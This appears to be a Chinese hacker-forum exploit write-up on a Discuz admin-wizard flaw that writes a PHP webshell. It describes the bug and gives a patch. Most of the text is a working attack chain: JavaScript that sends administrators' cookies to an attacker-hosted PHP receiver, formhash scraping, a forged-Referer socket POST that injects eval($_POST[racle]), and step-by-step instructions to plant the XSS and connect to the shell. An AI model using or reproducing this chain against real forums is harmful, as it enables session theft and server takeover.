作者：racle @tian6.com
受影响版本:Discuz<6.1.0,gbk+utf+big5

3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.

分析和写EXP的过程中,得到t0by57的大力帮助.他PHP和JS都不错的哦!我也希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS


----------------------------------------------------前言分隔线----------------------------------------------------------


problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.

problem2:DISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.AJAX在不装CURL的情况下,无法伪造.于是在写完AJAX的文件后,不得不放弃.转为php socket提交.

problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.


下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数

   1. function saverunwizardhistory() {  
   2.         global $runwizardfile, $runwizardhistory;  
   3.         $fp = fopen($runwizardfile, 'w');  
   4.         fwrite($fp, serialize($runwizardhistory));  
   5.         fclose($fp);  
   6. }  




serialize($runwizardhistory)直接就写进$fp 里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs /admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.

以下是修补的办法:



   1. function saverunwizardhistory() {  
   2.         global $runwizardfile, $runwizardhistory;  
   3.         $fp = fopen($runwizardfile, 'w');  
   4.         $s = '<?php exit;?>';  
   5.         $s .= serialize($runwizardhistory);  
   6.         fwrite($fp, $s);  
   7.         fclose($fp);  
   8. }


加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.



----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------

   以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.

我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug), 管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装 SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生 bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.

这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.

首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.

JS部分代码:


   1. var url="http://目标网站/admincp.php";        
   2. /*获得cookies*/
   3. function getURL(s) {  
   4. var image = new Image();  
   5. image.style.width = 0;  
   6. image.style.height = 0;  
   7. image.src = s;  
   8. }

getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));   //这里就通过image变量传给了php


php以get方式接收过来的变量.

   1. $cookies=$_GET['x'];


同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性. 但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) :)


获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:

   1. xml = new ActiveXObject("Microsoft.XMLHTTP");  
   2. var post="formhash=xxxxxxxx&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造携带的数据  
   3. xml.open("POST","http://target/admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接，以异步方式通信  
   4. xml.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");  
   5. xml.setrequestheader("content-length",post.length);  
   6. xml.setrequestheader("content-type","application/x-www-form-urlencoded");  
   7. xml.send(post);//发送数据  
   8. var res = xml.responseText;//接收服务器返回的数据  
   9. document.write(res);  


这里HASH我假设正确,这样提交,也无须cookies,不过会被DISCUZ以HASH和REFERER 不相符而拒绝,显示你的信息来源未知.因为你是本地递交的,REFERER是本地地址~~^^加上AJAX本身无法伪造REFERER,所以被我放弃了. 转而以PHP SOCKET形式提交.


   1. $sock = fsockopen("$url", 80, $errno, $errstr, 30);  
   2. if (!$sock) die("$errstr ($errno)\n");  
   3. $data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';  
   4.  
   5. fwrite($sock, "POST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1");  
   6. fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");  
   7. fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2");  
   8. fwrite($sock, "Accept-Language: zh-cn");  
   9. fwrite($sock, "Content-Type: application/x-www-form-urlencoded");  
   10. fwrite($sock, "Accept-Encoding: gzip, deflate");  
   11. fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)");  
   12. fwrite($sock, "Host: $url");  
   13. fwrite($sock, "Content-Length: ".strlen($data)."");  
   14. fwrite($sock, "Connection: Keep-Alive");  
   15. fwrite($sock, "Cache-Control: no-cache");  
   16. fwrite($sock, "Cookie:".$cookies."");  
   17. fwrite($sock, $data);  
   18.  
   19. $headers = "";  
   20. while ($str = trim(fgets($sock, 4096)))  
   21.       $headers .= "$str\n";  
   22. echo "\n";  
   23. $body = "";  
   24. while (!feof($sock))  
   25.       $body .= fgets($sock, 4096);  
   26. fclose($sock);  
   27. echo $body;


整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^


-------------------------------------------XSS文件分析分隔线------------------------------------------------


利用方法

首先打开racle.js
var url="http://racle@tian6.com/admincp.php"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php
然后打开racle@tian6.php
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com


ok.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs /runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.

确定有漏洞,就把js,还有PHP文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持 PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.


http://hi.baidu.com/isbx/blog/item/08ef48549d8f8e53574e00d4.html